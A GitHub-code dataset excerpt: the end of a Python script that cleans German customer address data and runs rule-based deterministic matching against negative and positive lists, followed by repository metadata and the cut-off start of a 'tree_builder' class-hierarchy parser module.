removeSpecial(df):\r\n    '''\r\n    Function to replace special characters from all the values present into different columns\r\n    '''\r\n    df = df.applymap(lambda s:removeSpecialChar(s) if type(s) == str else s)\r\n    return df\r\n\r\n\r\ndef removeTitleName(s):\r\n    '''\r\n    Function to remove titles and honorifics from a series\r\n    '''\r\n    titles = [\"ms \", \"mr \", \"mrs \", \"miss \", \"master \", \"professor \", \"dr \", \"herr \", \"frau \", \"prof \"]\r\n    for title in titles:\r\n        s = s.str.replace(title, \"\").str.strip()\r\n    return s\r\n\r\n\r\ndef removeTitle(df):\r\n    '''\r\n    Function to remove titles and honorifics from first name and last name\r\n    '''\r\n    df[\"FIRST_NAME\"] = removeTitleName(df[\"FIRST_NAME\"])\r\n    df[\"LAST_NAME\"] = removeTitleName(df[\"LAST_NAME\"])\r\n    return df\r\n\r\n\r\ndef replaceUmlaut(df):\r\n    '''\r\n    Function to replace umlauts (ä --> ae, ö --> oe, ü --> ue, ß --> ss)\r\n    '''\r\n    df = df.applymap(lambda s:s.replace('ä','ae') if type(s) == str else s)\r\n    df = df.applymap(lambda s:s.replace('ö','oe') if type(s) == str else s)\r\n    df = df.applymap(lambda s:s.replace('ü','ue') if type(s) == str else s)\r\n    df = df.applymap(lambda s:s.replace('ß','ss') if type(s) == str else s)\r\n    return df\r\n\r\n\r\ndef removeAccentedChars(s):\r\n    '''\r\n    Function to replace special characters like accents to ASCII characters from a series \r\n    '''\r\n    s = unicodedata.normalize('NFKD', s).encode('ascii', 'ignore').decode('utf-8', 'ignore')\r\n    return s\r\n\r\n\r\ndef removeAccented(df):\r\n    '''\r\n    Function to replace special characters like accents to ASCII characters from the dataframe\r\n    '''\r\n    df = df.applymap(lambda s:removeAccentedChars(s) if type(s) == str else s)\r\n    return df\r\n\r\n\r\ndef formatZip(df):\r\n    '''\r\n    Function to standardize ZIP to a five characters format by appending leading zeroes.\r\n    '''\r\n    df['ZIP'] = df['ZIP'].str.zfill(5)\r\n    return df\r\n\r\n\r\ndef formatCity(df):\r\n    '''\r\n    Function to correct common spelling mistakes in CITY\r\n    '''\r\n    df['CITY'] = df['CITY'].str.replace('mainz a r', 'mainz')\r\n    df['CITY'] = df['CITY'].str.replace('frankfurt a m', 'frankfrut am main')\r\n    df['CITY'] = df['CITY'].str.replace('frankfurt am', 'frankfrut am main')\r\n    df['CITY'] = df['CITY'].str.replace('frankfurt a main', 'frankfrut am main')\r\n    df['CITY'] = df['CITY'].str.replace('frankfurt m', 'frankfrut a main')\r\n    df.loc[(df['CITY'] == 'frankfurt') & (df['ZIP'].str.startswith('1')), 'CITY'] = 'frankfurt oder'\r\n    df.loc[(df['CITY'] == 'frankfurt') & (df['ZIP'].str.startswith('6')), 'CITY'] = 'frankfurt am main'\r\n    return df\r\n\r\n\r\ndef extractHNR(df):\r\n    '''\r\n    Function to extract HNR from STREET if it contains any number\r\n    '''\r\n    pattern1 = r'([\\d]+)'\r\n    pattern2 = r'([\\d]+[\\w])'\r\n    pattern3 = r'([\\d]+\\s[\\w])'\r\n    pattern4 = r'([\\d]+\\s[\\d]+\\s[\\w]\\s[\\d]+)'\r\n    df[\"PAT3\"] = df[\"STREET\"].str.extract(pattern3).replace(' ', '')\r\n    df[\"PAT2\"] = df[\"STREET\"].str.extract(pattern2).replace(' ', '')\r\n    df[\"PAT1\"] = df[\"STREET\"].str.extract(pattern1).replace(' ', '')\r\n    df['HNRNEW'] = df['PAT3'].fillna(df[\"PAT2\"].fillna(df[\"PAT1\"]))\r\n    df['HNRNEW'] = df['HNRNEW'].str.replace(' ', '')\r\n    df[\"STREET\"] = df[\"STREET\"].str.replace(pattern4, '').str.strip()\r\n    df[\"STREET\"] = df[\"STREET\"].str.replace(pattern3, '').str.strip()\r\n    df[\"STREET\"] = df[\"STREET\"].str.replace(pattern2, '').str.strip()\r\n    df[\"STREET\"] = df[\"STREET\"].str.replace(pattern1, '').str.strip()\r\n    df = df.drop(columns=['PAT3'], axis = 1)\r\n    df = df.drop(columns=['PAT2'], axis = 1)\r\n    df = df.drop(columns=['PAT1'], axis = 1)\r\n    return df\r\n\r\n\r\ndef joinColumns(df):\r\n    '''\r\n    Function to combine HNR and HNRADD to form a new column as HNRNEW and dropping the HNR and HNRADD columns from the dataframe\r\n    '''\r\n    df[\"HNR\"] = df[\"HNR\"].astype(str)\r\n    df[\"HNRADD\"] = df[\"HNRADD\"].astype(str)\r\n    df[\"HNR\"] = df[\"HNR\"].str.replace(' ', '')\r\n    df[\"HNR\"] = df[\"HNR\"].str.replace('nan', '')\r\n    df[\"HNRADD\"] = df[\"HNRADD\"].str.replace(' ', '')\r\n    df[\"HNRADD\"] = df[\"HNRADD\"].str.replace('nan', '')\r\n    df[\"HNRNEW\"] = df['HNR'].str.strip().fillna('') + df['HNRADD'].str.strip().fillna('')\r\n    df[\"HNRNEW\"] = df[\"HNRNEW\"].str.strip().replace(r'^\\s*$', np.nan, regex=True)\r\n    df = df.drop(columns=['HNR'], axis = 1)\r\n    df = df.drop(columns=['HNRADD'], axis = 1)\r\n    return df\r\n\r\n\r\ndef formatStreet(df):\r\n    '''\r\n    Function to standardise street name (' str', ' strsse', ' srasse', 'str$', 'strsse$', 'srasse$' --> 'strasse')\r\n    '''\r\n    df['STREET'] = df['STREET'].str.replace(' str','strasse')\r\n    df['STREET'] = df['STREET'].str.replace(' strsse','strasse')\r\n    df['STREET'] = df['STREET'].str.replace(' srasse','strasse')\r\n    df['STREET'] = df['STREET'].str.replace('str$','strasse')\r\n    df['STREET'] = df['STREET'].str.replace('strsse$','strasse')\r\n    df['STREET'] = df['STREET'].str.replace('srasse$','strasse')\r\n    return df\r\n\r\n\r\ndef dataPreprocessing(df):\r\n    '''\r\n    Function to perfrom data preprocessing and cleaning on customer list as per below mentioned order:\r\n    01. Convert case to lowercase\r\n    02. Remove the whitespace from the string columns\r\n    03. Remove special symbols by a single space\r\n    04. Remove titles and honorifics from the name\r\n    05. Replace german umlaut to english equivalents\r\n    06. Replace special characters with ASCII characters\r\n    07. Standardized the Zip\r\n    08. Standardized the city name\r\n    09. Extract HNR from STREET name\r\n    10. Formation of HNRNEW\r\n    11. Standardized the Street name\r\n    '''\r\n    df = caseConvertion(df)\r\n    df = stripList(df)\r\n    df = removeSpecial(df)\r\n    df = removeTitle(df)\r\n    df = replaceUmlaut(df)\r\n    df = removeAccented(df)\r\n    df = formatZip(df)\r\n    df = formatCity(df)\r\n    df = extractHNR(df)\r\n    df = joinColumns(df)\r\n    df = formatStreet(df)\r\n    return df\r\n\r\ndef dataPreprocessing1(df):\r\n    '''\r\n    Function to perfrom data preprocessing and cleaning on positive and negative lists as per below mentioned order:\r\n    01. Convert case to lowercase\r\n    02. Remove the whitespace from the string columns\r\n    03. Remove special symbols by a single space\r\n    04. Remove titles and honorifics from the name\r\n    05. Replace german umlaut to english equivalents\r\n    06. Replace special characters with ASCII characters\r\n    07. Standardized the Zip\r\n    08. Standardized the city name\r\n    09. Extract HNR from STREET name\r\n    10. Formation of NEWHNR\r\n    11. Standardized the Street name\r\n    12. Drop duplicate rows\r\n    '''\r\n    df = caseConvertion(df)\r\n    df = stripList(df)\r\n    df = removeSpecial(df)\r\n    df = removeTitle(df)\r\n    df = replaceUmlaut(df)\r\n    df = removeAccented(df)\r\n    df = formatZip(df)\r\n    df = formatCity(df)\r\n    df = extractHNR(df)\r\n    df = joinColumns(df)\r\n    df = formatStreet(df)\r\n    df.drop_duplicates(inplace=True)\r\n    return df\r\n\r\n\r\ndef IntermediateFiles(dir, file, df):\r\n    '''\r\n    Function to create intermediate files post a specific operation like Data Preprocessing with index values\r\n    '''\r\n    originalFiles = [\"00_List_Customer_Monitoring.csv\", \"01a_List_Negative.csv\", \"01b_List_Positive.csv\"]\r\n    if file in originalFiles:\r\n        file = file\r\n    else:\r\n        file = datetime.now().strftime(\"%Y%m%d\") + \"_\" + file\r\n    filename = dir + file\r\n    df.to_csv(filename)\r\n\r\n\r\ndef MatchedFiles(dir, file, df):\r\n    '''\r\n    Function to create intermediate files post a specific operation like Data Preprocessing without index values\r\n    '''\r\n    originalFiles = [\"00_List_Customer_Monitoring.csv\", \"01a_List_Negative.csv\", \"01b_List_Positive.csv\"]\r\n    if file in originalFiles:\r\n        file = file\r\n    else:\r\n        file = datetime.now().strftime(\"%Y%m%d\") + \"_\" + file\r\n    filename = dir + file\r\n    df.to_csv(filename, index=False)\r\n\r\n\r\ndef matchedIndex(nmatch, pmatch, rule):\r\n    '''\r\n    Function to append customers matched with negative list to the customers matched with positive list\r\n    '''\r\n    match = nmatch.append(pmatch, ignore_index=True, sort=False)\r\n    match = match[[\"ID_CUST\", \"ID_NEG\", \"ID_POS\", \"MATCH_CRITERIA\", \"MATCH_SCORE\"]]\r\n    match.sort_values(by=[\"ID_CUST\"], inplace=True)\r\n    match = match.reset_index()\r\n    match = match.drop(\"index\", axis = 1)\r\n    return match\r\n\r\n\r\ndef colMatchDDMPOS(cust, pos, condition, i):\r\n    '''\r\n    Function to match customer with the positive list based on a condition\r\n    '''\r\n    print(\"Start of Rule\" + str(i) + \": [\" + ', '.join(condition[:-1]) + \"]\")\r\n    pos_match = pd.merge(cust, pos, how=\"inner\", on=condition[:-1], suffixes=[\"_CUST\", \"_POS\"])\r\n    matchCriteria = \"DDM RULE\" + str(i) + \": \" + ', '.join(condition[:-1])\r\n    pos_match[\"MATCH_CRITERIA\"] = matchCriteria\r\n    pos_match[\"MATCH_SCORE\"] = float(condition[-1])\r\n    matched_index = pos_match[[\"ID_CUST\", \"ID_POS\", \"MATCH_CRITERIA\", \"MATCH_SCORE\"]]\r\n    matched_index.sort_values(by=[\"ID_CUST\"], inplace=True)\r\n    matched_index = matched_index.reset_index()\r\n    matched_index = matched_index.drop(\"index\", axis = 1)\r\n    cust = cust[~cust[\"ID\"].isin(matched_index[\"ID_CUST\"])]\r\n    print(\"End of Rule\" + str(i) +\": [\" + ', '.join(condition[:-1]) + \"]\")\r\n    return matched_index, cust\r\n\r\n\r\ndef colMatchDDMNEG(cust, neg, condition, i):\r\n    '''\r\n    Function to match customer with the negative list based on a condition\r\n    '''\r\n    print(\"Start of Rule\" + str(i) + \": [\" + ', '.join(condition[:-1]) + \"]\")\r\n    neg_match = pd.merge(cust, neg, how=\"inner\", on=condition[:-1], suffixes=[\"_CUST\", \"_NEG\"])\r\n    matchCriteria = \"DDM RULE \" + str(i) + \": \" + ', '.join(condition[:-1])\r\n    neg_match[\"MATCH_CRITERIA\"] = matchCriteria\r\n    neg_match[\"MATCH_SCORE\"] = float(condition[-1])\r\n    matched_index = neg_match[[\"ID_CUST\", \"ID_NEG\", \"MATCH_CRITERIA\", \"MATCH_SCORE\"]]\r\n    matched_index.sort_values(by=[\"ID_CUST\"], inplace=True)\r\n    matched_index = matched_index.reset_index()\r\n    matched_index = matched_index.drop(\"index\", axis = 1)\r\n    cust = cust[~cust[\"ID\"].isin(matched_index[\"ID_CUST\"])]\r\n    print(\"End of Rule\" + str(i) +\": [\" + ', '.join(condition[:-1]) + \"]\")\r\n    return matched_index, cust\r\n\r\n\r\ndef DDM(cust_df, neg_df, pos_df):\r\n    '''\r\n    Function to iteratively perform DDM for all the defined rules\r\n    '''\r\n    print(\"Start DDM\")\r\n    # Replace 0000-00-00 with 1900-00-00 in customer list to avoid invalid matches \r\n    cust_df[\"DOB\"] = cust_df[\"DOB\"].fillna('1900-00-00')\r\n    cust_df = cust_df.fillna('-99999')\r\n    # Replace 0000-00-00 with 1800-00-00 in negative list to avoid invalid matches\r\n    neg_df[\"DOB\"] = neg_df[\"DOB\"].fillna('1800-00-00')\r\n    neg_df = neg_df.fillna('-88888')\r\n    # Replace 0000-00-00 with 1700-00-00 in negative list to avoid invalid matches\r\n    pos_df[\"DOB\"] = pos_df[\"DOB\"].fillna('1700-00-00')\r\n    pos_df = pos_df.fillna('-77777')\r\n    cust_pos_df = cust_df.copy()\r\n    cust_neg_df = cust_df.copy()\r\n    cust_pos_df['FN'] = cust_pos_df['FIRST_NAME']\r\n    cust_pos_df['LN'] = cust_pos_df['LAST_NAME']\r\n    cust_neg_df['FN'] = cust_neg_df['FIRST_NAME']\r\n    cust_neg_df['LN'] = cust_neg_df['LAST_NAME']\r\n    neg_df['FN'] = neg_df['LAST_NAME']\r\n    neg_df['LN'] = neg_df['FIRST_NAME']\r\n    pos_df['FN'] = pos_df['LAST_NAME']\r\n    pos_df['LN'] = pos_df['FIRST_NAME']\r\n    cust_df = cust_df.reset_index()\r\n    neg_df = neg_df.reset_index()\r\n    pos_df = pos_df.reset_index()\r\n    cust_pos_df = cust_pos_df.reset_index()\r\n    cust_neg_df = cust_neg_df.reset_index()\r\n    # Rules or conditions to perform DDM along with rule based matching score\r\n    condition1 = ['FIRST_NAME', 'LAST_NAME', 'DOB', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 100]\r\n    condition2 = ['FIRST_NAME', 'LAST_NAME', 'DOB', 'ZIP', 'STREET', 'HNRNEW', 99.4]\r\n    condition3 = ['FIRST_NAME', 'LAST_NAME', 'DOB', 'CITY', 'STREET', 'HNRNEW', 97.9]\r\n    condition4 = ['FIRST_NAME', 'LAST_NAME', 'DOB', 97.2]\r\n    condition5 = ['LAST_NAME', 'DOB', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 95.6]\r\n    condition6 = ['FIRST_NAME', 'DOB', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 91]\r\n    condition7 = ['FIRST_NAME', 'LAST_NAME', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 90.2]\r\n    condition8 = ['FIRST_NAME', 'LAST_NAME', 'ZIP', 'STREET', 'HNRNEW', 89]\r\n    condition9 = ['FIRST_NAME', 'LAST_NAME', 'CITY', 'STREET', 'HNRNEW', 87]\r\n    condition10 = ['FIRST_NAME', 'LAST_NAME', 'ZIP', 'CITY', 'STREET', 84]\r\n    condition11 = ['FN', 'LN', 'DOB', 83.5]\r\n    condition12 = ['FN', 'LN', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 83]\r\n    condition13 = ['LAST_NAME', 'DOB', 'ZIP', 81.6]\r\n    condition14 = ['DOB', 'ZIP', 'CITY', 'STREET', 'HNRNEW', 78]\r\n    condition15 = ['FIRST_NAME', 'DOB', 'ZIP', 76]\r\n    matchConditions = [condition1, condition2, condition3, condition4, condition5, condition6, condition7, condition8, condition9, condition10, condition11, condition12, condition13, condition14, condition15]\r\n    cwd = os.getcwd()\r\n    intFileDir = cwd + r\"\\\\IntermediateFiles\\\\DDM\\\\\"\r\n    i = 1\r\n    custFile = r\"00_List_Customer_Monitoring.csv\"\r\n    matched_idx = pd.DataFrame()\r\n    for matchCondition in matchConditions:\r\n        FileNamePOS = \"DDM_POS_Rule\" + str(i) + \".csv\"\r\n        FileNameNEG = \"DDM_NEG_Rule\" + str(i) + \".csv\"\r\n        custFilePOSPostMatch = \"DDM_POS_Rule\" + str(i) + \"_\" + custFile\r\n        custFileNEGPostMatch = \"DDM_NEG_Rule\" + str(i) + \"_\" + custFile\r\n        idxPOS, cust_pos_df = colMatchDDMPOS(cust_pos_df, pos_df, matchCondition, i)\r\n        idxNEG, cust_neg_df = colMatchDDMNEG(cust_neg_df, neg_df, matchCondition, i)\r\n        MatchedFiles(intFileDir, FileNamePOS, idxPOS)\r\n        MatchedFiles(intFileDir, custFilePOSPostMatch, cust_pos_df)\r\n        MatchedFiles(intFileDir, FileNameNEG, idxNEG)\r\n        MatchedFiles(intFileDir, custFileNEGPostMatch, cust_neg_df)\r\n        matched_idx = matched_idx.append(matchedIndex(idxNEG, idxPOS, matchCondition), ignore_index=True, sort=False)\r\n        matched_idx.sort_values(by=[\"ID_CUST\"], inplace=True)\r\n        i += 1\r\n    cust_df = cust_df[~cust_df[\"ID\"].isin(matched_idx[\"ID_CUST\"])]\r\n    print(\"End of DDM\")\r\n    return matched_idx, cust_df\r\n\r\n\r\n# Main function - starting point of the script\r\nif __name__ == \"__main__\":\r\n    print(\"Data Load started: \" + str(datetime.now()))\r\n    cwd = os.getcwd()\r\n    srcFolder = cwd + r\"\\\\Source\\\\\"\r\n    print(\"CUSTOMER MONITORING LIST\")\r\n    custFile = r\"00_List_Customer_Monitoring.csv\"\r\n    df_cust = extractSource(srcFolder, custFile)\r\n    print(\"NEGATIVE LIST\")\r\n    negFile = r\"01a_List_Negative.csv\"\r\n    df_neg = extractSource(srcFolder, negFile)\r\n    print(\"POSITIVE LIST\")\r\n    posFile = r\"01b_List_Positive.csv\"\r\n    df_pos = extractSource(srcFolder, posFile)\r\n    print(\"Data Load Completed: \" + str(datetime.now()))\r\n    print(len(df_cust), len(df_neg), len(df_pos))\r\n    print(\"Data Preprocessing Started: \" + str(datetime.now()))\r\n    print(\"CUSTOMER MONITORING LIST\")\r\n    df_cust = dataPreprocessing(df_cust)\r\n    print(\"NEGATIVE LIST\")\r\n    df_neg = dataPreprocessing1(df_neg)\r\n    print(\"POSITIVE LIST\")\r\n    df_pos = dataPreprocessing1(df_pos)\r\n    print(\"Data Pre-processing Completed!!! \" + str(datetime.now()))\r\n    print(len(df_cust), len(df_neg), len(df_pos))\r\n    print(\"Data load of preprocessed file started: \" + str(datetime.now()))\r\n    intFileDir = cwd + r\"\\\\IntermediateFiles\\\\Preprocessed\\\\\"\r\n    ppCustFile = \"PP_\" + custFile\r\n    IntermediateFiles(intFileDir, ppCustFile, df_cust)\r\n    ppNegFile = \"PP_\" + negFile\r\n    IntermediateFiles(intFileDir, ppNegFile, df_neg)\r\n    ppPosFile = \"PP_\" + posFile\r\n    IntermediateFiles(intFileDir, ppPosFile, df_pos)\r\n    print(\"Data load of preprocessed file completed!!! \" + str(datetime.now()))\r\n    print(\"Determistics Data Match started: \" + str(datetime.now()))\r\n    index_df, df_cust = DDM(df_cust, df_neg, df_pos)\r\n    print(\"Determistics Data Match completed!!! \" + str(datetime.now()))\r\n    print(len(df_cust), len(df_neg), len(df_pos))\r\n    print(\"Data load of DDM file started: \" + str(datetime.now()))\r\n    intFileDir = cwd + r\"\\\\IntermediateFiles\\\\DDM\\\\\"\r\n    DDMFile = r\"DDM.csv\"\r\n    peCustFile = \"DDM_\" + custFile\r\n    MatchedFiles(intFileDir, DDMFile, index_df)\r\n    MatchedFiles(intFileDir, peCustFile, df_cust)\r\n    MatchedFiles(intFileDir, custFile, df_cust)\r\n    IntermediateFiles(intFileDir, negFile, df_neg)\r\n    IntermediateFiles(intFileDir, posFile, df_pos)\r\n    print(\"Data load of DDM file completed!!! \" + str(datetime.now()))\r\n", "repo_name": "sharannk93/Matching-algorithm", "sub_path": "01_RecordLinkageDDM.py", "file_name": "01_RecordLinkageDDM.py", "file_ext": "py", "file_size_in_byte": 19023, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 186, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 272, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 272, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 285, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 285, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 307, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 325, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 384, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 388, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 410, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 410, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 411, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 422, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 422, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 424, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 424, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 431, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 431, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 433, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 433, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 441, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 441, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 442, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 442, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 444, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 444, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 446, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 446, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 455, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 455, "usage_type": "name"}]}
{"seq_id": "70135021704", "text": "\"\"\"\nParser for a Type / Class Tree\n\nAfter a call to build_type_hirarchy, the types are put into a hirarchy, then\nthe class parsing starts.\n\nThe main features this thing provides is to detect type derived superclasses and\nrearanges of them as new classes within the defining one.\n\n        class Foo(Bar, Baz) ->\n        class Foo(Bar):\n                class Baz(Baz)\n\nwhere in this not yet built when doing this,\nwe are in its metacls __new__ yet.\n\nlater Foo.Baz can be getting special settings without influencing the other\nBaz classes.\n\nThis allows for very small definition specs.\n\"\"\"\n\n# TODO: Check this: https://www.stat.washington.edu/~hoytak/code/treedict/\n\n# -------------------------------------------------------------- Build the Tree\n# py 2 version. py2 syntax is compat with py3, so py3 can override\n# cls_with_meta\nimport os\nimport sys\n\n# from tree_builder.py2 import cls_with_meta\nfrom collections import OrderedDict\n\n\ndef sys_path_insert(fn):\n    \"\"\" helper, often required in SPECs, which does import us only\"\"\"\n    sys.path.insert(0, os.path.abspath(os.path.dirname(fn)))\n\n\ntry:\n    is_str = lambda s, t=str: isinstance(s, t)\nexcept:\n    is_str = lambda s: isinstance(s, (str, bytes))  # v3\n\n\ntry:\n    # have?\n    from theming.pretty_print import dict_to_txt\n\n    class ODict(OrderedDict):\n        def __repr__(self):\n            return dict_to_txt(self)\n\n\nexcept:\n    import json\n\n    ODict = OrderedDict\n    dict_to_txt = lambda a, **kw: json.dumps(a, indent=4, default=str)\n\n\ndef pretty(o):\n    from tree_builder.render import to_dict\n\n    return dict_to_txt(to_dict(o), fmt={'ax': 1})\n\n\nclass ObjKeyDict(dict):\n    set = dict.__setitem__\n\n\nhave_tty = lambda: sys.stdin.isatty() and sys.stdout.isatty()\n\n\nclass UserInput:\n    \"\"\"Avoids repeatedly asking same questions over repeated spec runs\n    Stores answered questions in DA_DIR/.stored_input\n    \"\"\"\n\n    fn = lambda: os.environ.get('DA_DIR', 'no_da_dir') + '/.stored_input'\n    # when loaded (oncee from fn) then this keeps all previous user input:\n    # inp e.g. = {'env': {'registration_token': 'foo'}}\n    inp = None\n\n    @classmethod\n    def get_stored_if_build(ui, val_pth):\n        \"\"\"We do not want to prevent parsing of spec if env vars are missing.\n\n        Only when its a spec build we return None, resulting in questions on the tty\n        (or failures if non interactive)\n        \"\"\"\n\n        if ui.inp is None:\n            ui.load()\n        m = ui.inp\n        # val_pth e.g. ['env', 'reg_token']:\n        while val_pth:\n            m = m.get(val_pth.pop(0)) or {}\n        if m != {}:\n            return m\n\n        # are we a spec build? If not return a placeholder:\n        from devapp.app import app_func\n        from devapp.spec.build import build\n\n        if app_func(inner=True) != build:\n            # placholder, this is not a spec build:\n            return 'Input Value(%s)' % '.'.join(val_pth)\n\n    @classmethod\n    def load(ui):\n        if not os.path.exists(ui.fn()):\n            ui.inp = {}\n            return\n        with open(ui.fn()) as fd:\n            ui.inp = json.loads(fd.read())\n\n    @classmethod\n    def store(ui):\n        \"\"\"called by successfull spec.build, storing last inputs\"\"\"\n        if ui.inp:\n            with open(ui.fn(), 'w') as fd:\n                fd.write(json.dumps(ui.inp, indent=2))\n\n\ndef Env(key, dflt=None, suggest=None):\n    \"\"\"env access bridge for specs - here we can in a build process\n    parametrize the constructor query session\n    \"\"\"\n    import os\n\n    res = os.environ.get(key, dflt)\n    if res is None:\n        res = UserInput.get_stored_if_build(['env', key])\n        if res is None:\n            if have_tty():\n                print('Require value for: %s' % key)\n                print(\n                    'Note: Specifying a command (format: json) will delay value acquisition to process start time and prevent putting the value into process environ.'\n                )\n                print('Example: [\"cat\", \"/tmp/mypw\"]')\n                if suggest:\n                    print('Suggested (enter to confirm): %s' % suggest)\n                res = UserInput.inp.setdefault('env', {})[key] = (\n                    input('Value for %s: ' % key) or suggest\n                )\n\n            if not res:\n                raise Exception('Required but not provided: $%s' % key)\n\n    return res\n\n\ndef mro(c):\n    return c.mro()\n\n\nclass Reg:\n    \"\"\"\n    stores global registries,to allow isolated load of more specs in one\n    process (clients could pass maps as 'env', then not using os.environ)\n    \"\"\"\n\n    def __init__(self, env):\n        self.env = env\n        self.mixins = {}\n        self.hirarchy = []\n        self.cls_counter = 0\n        self.hir_postconfigured = 2\n        self.hirarchy_built = False\n        self.classes = ObjKeyDict({})\n\n\nR = Reg(os.environ)\n\n\ndef reinit(env=os.environ):\n    global R\n    R = Reg(env)\n    return R\n\n\ndef load_isolated(spec, env=None):\n    \"\"\"execing a spec file (as string), should not collide\n    only problem I see is that T's _allowed childs could differ,\n    have to make an exception for it\n\n    Note: R\n    \"\"\"\n    global R\n    if env is None:\n        env = os.environ\n    R = Reg(env=env)\n    R.hirarchy.append(T)\n    exec(spec, globals())\n    return R.Root\n\n\npystring = str\n\n\ndef out(*a):\n    pass\n    # print ' '.join([str(k) for k in a])\n\n\nclass MixinTypeMetaClass(type):\n    def __new__(cls, name, bases, attrs):\n        ncls = type.__new__(cls, name, bases, attrs)\n        # ncls = super(MixinTypeMetaClass, cls).__new__(cls, name, bases, attrs)\n        R.mixins.setdefault(ncls, [])\n        return ncls\n\n\ndef out_clses(cs):\n    r = ''\n    for c in cs:\n        r += ', name: ' + c.__name__\n    return 'Classes: ' + r[1:]\n\n\nclass MT(object, metaclass=MixinTypeMetaClass):\n    pass\n\n\ndef build_type_hirarchy(root):\n    \"\"\" e.g. Project\"\"\"\n    while 1:\n        if R.hirarchy[0] != root:\n            R.hirarchy.pop(0)\n        else:\n            break\n    # that hack now is necessary since transcypt requires the base with the\n    # metaclass as FIRST base. Our Py2/Py3 compliance hack (cls_with_meta)\n    # inserts an intermediate class - with a constructor which would overwrite\n    # the actual wanted one (and we don't have super in Transcrypt, so that we\n    # could fix it in the intermediate's __init__).\n    # In short: We have to bypass __init__ of the intermediate helper base class:\n    pfh = globals().get('post_fix_hirarchy')\n    pfh() if pfh else None\n    out('have hirarchy', [n.__name__ for n in R.hirarchy])\n    R.hirarchy_built = True  # close hirachy, following are specific classes\n\n\nclass HirarchyErr(Exception):\n    pass\n\n\ndef check_allow_add(cls, sub):\n    if cls.__name__ == 'xProject':\n        import pdb\n\n        pdb.set_trace()\n    try:\n        if not sub._hirarchy == cls._hirarchy + 1:\n            for c in cls._allowed_childs:\n                if sub.type == c.type:\n                    return\n            raise HirarchyErr(\"Can't add %s directly within %s\" % (sub, cls))\n    except Exception as ex:\n        print(ex)\n        import pdb\n\n        pdb.set_trace()\n\n\n# ----------------------------------------------------------------------------\ndef cast_str(v):\n    for t in float, int:\n        try:\n            return t(v)\n        except:\n            pass\n    if v.lower() == 'true':\n        return True\n    if v.lower() == 'false':\n        return False\n    return v\n\n\nnil = '\\x01'\n\n\nclass ItemGetterMetaType(type):\n    \"\"\"with env to attr mapping (for inheritance. => DONT do a dict here)\"\"\"\n\n    def __getitem__(cls, k, dflt=None):\n        if isinstance(k, str) and k.startswith('$'):\n            'could be env var pointing to our var OR env var'\n            # we have it directly?:\n            k = k[1:]\n            ck = getattr(cls, '_env_%s' % k, nil)\n            if ck != nil:\n                return ck\n            k = R.env.get(k, nil)\n            if k == nil:\n                return dflt\n        return getattr(cls, k, dflt)\n\n    def __setitem__(cls, k, v):\n        # support cls['foo,bar'] = 'bar', 'foo'\n        if isinstance(k, str):\n            if k.startswith('$'):\n                setattr(cls, '_env_%s' % k[1:], v)\n            else:\n                setattr(cls, k, v)\n        else:\n            # n.Consul['is_server', 'port_http', 'port_dns'] = True, 8880, 53\n            for k, v in zip(k, v):\n                setattr(cls, k, v)\n\n    def get(cls, k, dflt=None):\n        return cls.__getitem__(k, dflt)\n\n    def get_env(cls):\n        r = ODict()\n        for k in [i for i in dir(cls) if i.startswith('_env_')]:\n            r[k[5:]] = getattr(cls, k)\n        return r\n\n\nclass Group(object, metaclass=ItemGetterMetaType):\n    pass\n\n\nclass TypeMetaClass(ItemGetterMetaType):\n    def __new__(cls, name, bases, attrs):\n        try:\n            attrs = dict(attrs)  # 0\n        except:\n            pass\n        attrs['name'] = name\n        if not bases:\n            bases = (object,)\n        b0, orig_bases = bases[0], None\n        if b0 in R.mixins and not R.hirarchy_built:\n            raise Exception(\"First Base Class can't be a mixin\", b0)\n\n        if R.hirarchy_built:\n            out('adding a class', name, bases)\n            if not '_parent' in attrs and not hasattr(b0, '_parent'):\n                while not b0 in R.hirarchy:\n                    # a helper class (like class Node(Node, Role.Foo) and inner\n                    # Node is\n                    # R.hirarchy type -> act as if we'd defined all:\n                    inh = R.classes.get(b0)\n                    b0, bases = inh[0], inh + bases[1:]\n                attrs['type'] = b0.__name__\n                attrs['_cls'] = name\n                attrs['_hir'] = R.hirarchy.index(b0)\n                out('adding {0}({1})'.format(name, b0.__name__))\n                bases, orig_bases, mxins, attrs = set_bases_as_attrs(\n                    name, b0, bases, attrs\n                )\n        else:\n            # out 